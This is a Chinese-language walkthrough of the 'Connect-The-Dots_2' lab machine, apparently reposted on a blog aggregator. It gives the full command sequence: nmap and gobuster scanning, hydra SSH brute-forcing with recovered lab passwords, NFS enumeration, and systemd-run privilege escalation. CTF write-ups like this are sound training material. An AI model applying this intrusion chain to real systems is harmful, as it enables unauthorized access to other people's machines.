Connect-The-Dots_2

Connect-The-Dots_2

一、主机发现和端口扫描

  • 主机发现,靶机地址192.168.80.148

    arp-scan -l
    

    在这里插入图片描述

  • 端口扫描

    nmap -A -p- -sV 192.168.80.148开放端口
    21/tcp    open  ftp      vsftpd 2.0.8 or later
    80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
    111/tcp   open  rpcbind  2-4 (RPC #100000)
    2049/tcp  open  nfs      3-4 (RPC #100003)
    7822/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
    33741/tcp open  nlockmgr 1-4 (RPC #100021)
    39565/tcp open  mountd   1-3 (RPC #100005)
    56517/tcp open  mountd   1-3 (RPC #100005)
    58767/tcp open  mountd   1-3 (RPC #100005)
    

    在这里插入图片描述

二、信息收集

  • 访问80端口

    Happy Birthday brother!You know how our family have named us, right? Them naming me M and you N. Well, our names are entirely the same except the initials. Life is too short to save names in your memory when you're old, so why not! But do you know who did that? Our mother who was fond of the James Bond movies. She named me after her as M. Perhaps, she thinks that the director of the movie was too lazy to think of one. I mean, who cares, right? Haha, I know you don't like me neither my pesky jokes. But I love you brother. So, don't visit this website until I am done. You'll find nothing but backups, lol.Btw, I know you love challenges so I have something in store for you as well.翻译
    生日快乐,兄弟!你知道我们家是怎么给我们取名的吧?他们叫我M,叫你n。嗯,我们的名字除了首字母外完全一样。生命太短暂了,当你老了的时候,为什么不把名字保存在你的记忆里呢?但你知道是谁干的吗?我们的母亲非常喜欢詹姆斯·邦德的电影。她以她的名字给我取名叫m。也许,她认为电影的导演太懒了,想不出一个名字。我是说,谁在乎呢?哈哈,我知道你不喜欢我,也不喜欢我那些讨厌的笑话。但是我爱你,兄弟。所以,在我完成之前不要访问这个网站。除了备份你什么都找不到,哈哈。顺便说一句,我知道你喜欢挑战,所以我也为你准备了一些东西。
    

    在这里插入图片描述

  • 路径扫描

    gobuster dir -u http://192.168.80.148 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50路径
    /images               (Status: 301) [Size: 317] [--> http://192.168.80.148/images/]
    /manual               (Status: 301) [Size: 317] [--> http://192.168.80.148/manual/]
    /javascript           (Status: 301) [Size: 321] [--> http://192.168.80.148/javascript/]
    /backups              (Status: 200) [Size: 6301]
    /mysite               (Status: 301) [Size: 317] [--> http://192.168.80.148/mysite/]
    

    在这里插入图片描述

  • 访问/backups,就一个3s视频

    在这里插入图片描述

  • 访问/mysite,发现bootstrap.min.cs文件存在加密的东西

    在这里插入图片描述

  • 使用脚本将文件的字符串搞下来

    #coding=utf-8
    import requests
    import rereq = requests.get("http://192.168.80.148/mysite/bootstrap.min.cs").text
    data = re.findall('\s=\s\"(.*?)\"',req)print("".join(data))
    
  • 进行JSfuck解码

    http://www.liminba.com/tool/jsfuckdecode/alert("You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19")TryToGuessThisNorris@2k19可能是密码
    

    在这里插入图片描述

三、NFS渗透

  • 因为开放了2049端口,获取 nfs 服务器的目录列列表

    showmount -e 192.168.80.148得到用户名 morris
    

    在这里插入图片描述

  • 尝试挂载共享目录,没成功

    mount -t nfs 192.168.80.148:/home/morris dots
    

    在这里插入图片描述

四、爆破SSH

  • 得到一个用户名为morris,根据主页的提示,应该还一个用户名norris,尝试ssh爆破

    用户名:
    morris
    norris
    Morris
    Norris密码:
    TryToGuessThisNorris@2k19hydra -L /tmp/user -p TryToGuessThisNorris@2k19 192.168.80.148 ssh -s 7822 -vV
    

    在这里插入图片描述

  • 登录ssh

    ssh norris@192.168.80.148 -p 7822
    

    在这里插入图片描述

    在这里插入图片描述

五、二次信息收集

  • 登录ftp下载文件

    ftp 192.168.80.148
    

    在这里插入图片描述

  • 查看图片信息,发现摩斯密码

    exiftool game.jpg.bak.... . -.-- ....... -. --- .-. .-. .. ... --..-- ....... -.-- --- ..- .----. ...- . ....... -- .- -.. . ....... - .... .. ... ....... ..-. .- .-. .-.-.- ....... ..-. .- .-. ....... ..-. .- .-. ....... ..-. .-. --- -- ....... .... . .- ...- . -. ....... .-- .- -. -. .- ....... ... . . ....... .... . .-.. .-.. ....... -. --- .-- ..--.. ....... .... .- .... .- ....... -.-- --- ..- ....... ... ..- .-. . .-.. -.-- ....... -- .. ... ... . -.. ....... -- . --..-- ....... -.. .. -.. -. .----. - ....... -.-- --- ..- ..--.. ....... --- .... ....... -.. .- -- -. ....... -- -.-- ....... -... .- - - . .-. -.-- ....... .. ... ....... .- -... --- ..- - ....... - --- ....... -.. .. . ....... .- -. -.. ....... .. ....... .- -- ....... ..- -. .- -... .-.. . ....... - --- ....... ..-. .. -. -.. ....... -- -.-- ....... -.-. .... .- .-. --. . .-. ....... ... --- ....... --.- ..- .. -.-. -.- .-.. -.-- ....... .-.. . .- ...- .. -. --. ....... .- ....... .... .. -. - ....... .. -. ....... .... . .-. . ....... -... . ..-. --- .-. . ....... - .... .. ... ....... ... -.-- ... - . -- ....... ... .... ..- - ... ....... -.. --- .-- -. ....... .- ..- - --- -- .- - .. -.-. .- .-.. .-.. -.-- .-.-.- ....... .. ....... .- -- ....... ... .- ...- .. -. --. ....... - .... . ....... --. .- - . .-- .- -.-- ....... - --- ....... -- -.-- ....... -.. ..- -. --. . --- -. ....... .. -. ....... .- ....... .----. ... . -.-. .-. . - ..-. .. .-.. . .----. ....... .-- .... .. -.-. .... ....... .. ... ....... .--. ..- -... .-.. .. -.-. .-.. -.-- ....... .- -.-. -.-. . ... ... .. -... .-.. . .-.-.-
    

    在这里插入图片描述

  • 解码

    HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.诺里斯,你已经走了这么远了。远离天堂,现在想看看地狱吗?哈哈,你肯定想我了,是吗?哦,该死的,我的电池快没电了,我找不到充电器这么快,在系统自动关闭之前在这里留下一个提示。我将地下城的入口保存在一个公开访问的“秘密文件”中。
    

    在这里插入图片描述

  • 寻找morris密码,在/var/www/html目录下发现一个secretfile 文件

    I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference.我看你是来要密码的。神圣的魔草!电池快没电了!!以下提及供参考。
    

    在这里插入图片描述

  • 查看所有文件,发现.secretfile.swp文件,swp 是编辑器突然断电或者 ctrl+z 产生的文件

    在这里插入图片描述

  • 将文件下载下来,发现密码blehguessme090

    在这里插入图片描述

  • 登录ssh

    morris:blehguessme090ssh morris@192.168.80.148 -p 7822
    

    在这里插入图片描述

六、权限提升

  • systemd-run提权

    systemd-run -t /bin/bash输入TryToGuessThisNorris@2k19
    

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/160779.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

循环队列详解!!c 语言版本(两种方法)双向链表和数组法!!

目录 1.什么是循环队列 2.循环队列的实现(两种方法) 第一种方法 数组法 1.源代码 2.源代码详解!! 1.创造队列空间和struct变量 2.队列判空 3.队列判满(重点) 4.队列的元素插入 5.队列的元素删除 …

GIT实践与常用命令---回退

实践场景 场景1 回退提交 在日常工作中,我们可能会和多个同事在同一个分支进行开发,有时候我们可能会出现一些错误提交,这些错误提交如果想撤销,可以有两种解决办法:回退( reset )、反做(revert) keywords:reset、rev…

2023软件测试的4个技术等级,你在哪个级别?

最近,我们讨论了软件测试工程的的分级,大家都贡献了自己的想法,对于大家来说,软件测试人的分级其实也代表了我们的进阶方向,职业发展。总体来说,测试工程师未来发展有三个方向: 技术精英 行业专…

层次分析法--可以帮助你做决策的简单算法

作用 层次分析法是一个多指标的评价算法,主要用来在做决策时,给目标的多个影响因子做权重评分。特别是那些需要主观决策的、或者需要用经验判断的决策方案,例如: 买房子(主观决策)选择旅游地(…

android11 申请所有文件访问权限

Android 11 引入了强制执行分区存储的限制,导致应用默认不能访问外部文件。 针对以前涉及较多文件的操作,可采用申请所有文件访问权限的方式来解决这一问题,实现方式如下。 (虽然这样做安全性低,官方并不推荐这样&…

Shell判断:模式匹配:case(三)

系统管理工具箱 1、需求:Linux提供的丰富的管理命令,用户管理,内存管理,磁盘管理,进程管理,日志管理,文件管理,软件管理,网络管理等等数十个工具包。如果你能通过shell编…

【代码随想录】算法训练计划30

【代码随想录】算法训练计划30 1、51. N 皇后 按照国际象棋的规则,皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题 研究的是如何将 n 个皇后放置在 nn 的棋盘上,并且使皇后彼此之间不能相互攻击。 给你一个整数 n ,…

分布式锁3: zk实现分布式锁

一 zk 实现分布式锁 1.1 zk分布式操作命令 1.指令: ls / get /zookeeper create /aa "test" delete /aa set /aa "test1" 2..znode节点类型: 永久节点:create /pa…

优秀智慧园区案例 - 上海世博文化公园智慧园区,先进智慧园区建设方案经验

一、项目背景 世博文化公园是上海的绿色新地标,是生态自然永续、文化融合创新、市民欢聚共享的大公园。作为世博地区的城市更新项目,世博文化公园的建设关乎上海城市风貌、上海文化展示、城市生态环境、市民游客体验、上海服务品牌等,被赋予…

依托数据、平台、知识增强等优势 夸克大模型大幅降低问答幻觉率

“大模型时代,夸克有巨大机会创造出革新性搜索产品。”11月22日,夸克大模型公布了其面向搜索、生产力工具和资产管理助手的大模型技术布局。数据显示,夸克千亿级参数大模型登顶C-Eval和CMMLU两大权威榜单,夸克百亿级参数大模型同样…

电大搜题——让学习变得轻松高效

作为一名现代学者,您一定时刻关注着教育领域的进展和创新。今天,我将向大家介绍一个名为“电大搜题”的神奇工具,它将为您的学习之路带来一场完美的革命。 在快节奏的现代社会中,学习已经成为每个人追求成功的必经之路。然而&…

【数据结构】动态顺序表详解

目录 1.顺序表的概念及结构 2.动态顺序表的实现 2.1创建新项目 2.2动态顺序表的创建 2.3接口的实现及测其功能 2.3.1初始化 2.3.2尾插 2.3.3头插 2.3.4尾删&头删 2.3.5打印&从任意位置插入 2.3.6删除任意位置的数据 2.3.7查找 2.3.8销毁顺序表 3.结语 He…

java项目之社区互助平台(ssm+vue)

项目简介 社区互助平台实现了以下功能: 1、一般用户的功能及权限 所谓一般用户就是指还没有注册的过客,他们可以浏览主页面上的信息。但如果有中意的社区互助信息时,要登录注册,只有注册成功才有的权限。2、管理员的功能及权限 用户信息的添…

react大文件上传

目录 大文件上传优点: 大文件上传缺点: 大文件上传原理: 为什么要用md5 实现流程: 部分代码1: 部分代码2:​ 大文件上传优点: 文件太大分片上传能加快上传速度,提高用户体验能断点续传 如果上次上传失败…

简单工程模式

代码实现 //simpleFactory.h #ifndef _SimpleFactory_H_ #define _SimpleFactory_H_#include <iostream> #include <exception> #include <string>using namespace std;class Operation { protected:double _numberA 0;double _numberB 0; public:Operat…

MybatisX插件使用

Mybatis X插件 MybatisX 是一款基于 IDEA 的快速开发插件&#xff0c;为效率而生。MybatisX官网&#xff1a;https://baomidou.com/pages/ba5b24/#%E5%8A%9F%E8%83%BD安装方法&#xff1a;打开 IDEA&#xff0c;进入 File -> Settings -> Plugins&#xff0c;输入 mybat…

三维控件中定位一个点_vtkPointWidget

开发环境&#xff1a; Windows 11 家庭中文版Microsoft Visual Studio Community 2019VTK-9.3.0.rc0vtk-example参考代码 demo解决问题&#xff1a;允许用户使用三维光标在三维空间中定位一个点。关键类vtkPointWidget , 光标具有轮廓边界框、轴对齐十字准线和轴阴影&#xff…

AD7021C 触摸感应加灯光调节芯片IC 可用于触摸台灯、触摸玩具灯等

AD7021C触摸感应 IC 是为实现人体触摸界面而设计的集成电路。可替代机械式轻触按键&#xff0c;实现防水防尘、密封隔离、坚固美观的操作界面。使用该芯片可以实现 LED 灯光亮度调节&#xff0c;方案所需的外围电路简单&#xff0c;操作方便。确定好灵敏度选择电容&#xff…

【华为OD题库-033】经典屏保-java

题目 DVD机在视频输出时&#xff0c;为了保护电视显像管&#xff0c;在待机状态会显示"屏保动画”&#xff0c;如下图所示,DVD Logo在屏幕内来回运动&#xff0c;碰到边缘会反弹:请根据如下要求&#xff0c;实现屏保Logo坐标的计算算法 1、屏幕是一个800 * 600像素的矩形&…

Vue3 provide 和 inject 实现祖组件和后代组件通信

provide 和 inject 能够实现祖组件和其任意的后代组件之间通信&#xff1a; 一、provide 提供数据 我们在祖组件中使用provide 将数据提供出去。 使用provide 之前需要先进行引入&#xff1a; import { provide } from "vue"; 语法格式如下&#xff1a; provide(&q…